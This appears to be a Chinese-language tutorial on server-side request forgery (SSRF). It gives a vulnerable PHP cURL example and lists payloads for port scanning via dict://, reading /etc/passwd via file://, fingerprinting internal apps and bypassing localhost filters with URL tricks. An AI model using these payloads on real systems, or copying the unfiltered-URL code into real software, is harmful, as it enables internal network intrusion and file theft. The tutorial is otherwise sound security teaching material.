SSRF(服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
原因
由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
漏洞出现点
危害
file_get_contents()
,fsockopen()
,curl_exec()
三个函数使用不当时将会造成ssrf
下面看一个服务器中产生ssrf的代码,已附注释
if (isset($_REQUEST['url'])) //获取url
{
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link); //没过滤可控参数,直接初始化 cURL 会话。大忌!
$fp = fopen($filename,"w");
//设置 cURL 传输选项
curl_setopt($curlobj, CURLOPT_FILE, $fp); //设置输出文件
curl_setopt($curlobj, CURLOPT_HEADER, 0); //将头文件的信息作为数据流输出
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE); //将会根据服务器返回 HTTP 头中的 "Location: " 重定向
curl_exec($curlobj); //执行 cURL 会话
curl_close($curlobj); //关闭会话
fclose($fp); //关闭文件,防止文件泄露
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
以上主要函数参考:https://www.php.net/manual/zh/ref.curl.php
1.访问正常文件
?url=http://www.xxx.com/robots.txt
2.使用dict://协议进行端口扫描(扫描内网的机器的端口)
?url=dict://ip:port
当访问未开放端口,脚本会显示空白或者报错
当访问开放端口时,脚本会显示banner 信息
3.利用file://协议读取系统本地文件
任意读取系统本地文件(先探测下服务器系统信息,方便找敏感文件路径)
?url=file:///etc/passwd
4.内网Web应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供更多的信息
大多数web应用框架都有一些独特的文件和目录,通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本
?url=http://localhost/phpmyadmin/README
5.攻击内网应用
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。
通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用等。
一个通过ssrf攻击redis拿shell的例子
(具体需要读者详细查阅相关资料,例:ssrf扩展攻击、ssrf拿shell等)
1.本地解析
http://127.0.0.1 >>> http://localhost
2.利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.利用@
http://example.com@127.0.0.1 >>> http://127.0.0.1
4.利用DNS解析
http://127.0.0.1.ceye.io/ >>> http://127.0.0.1
5.利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
6.Unicode滥用
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
7.利用上传
修改"type=file"为"type=url"
比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8.利用句号
http://127。0。0。1 >>> http://127.0.0.1
9.利用进制转换
可以是十六进制,八进制等
http://115.239.210.26 >>> http://16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
(记得访问的时候加0表示使用八进制)
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~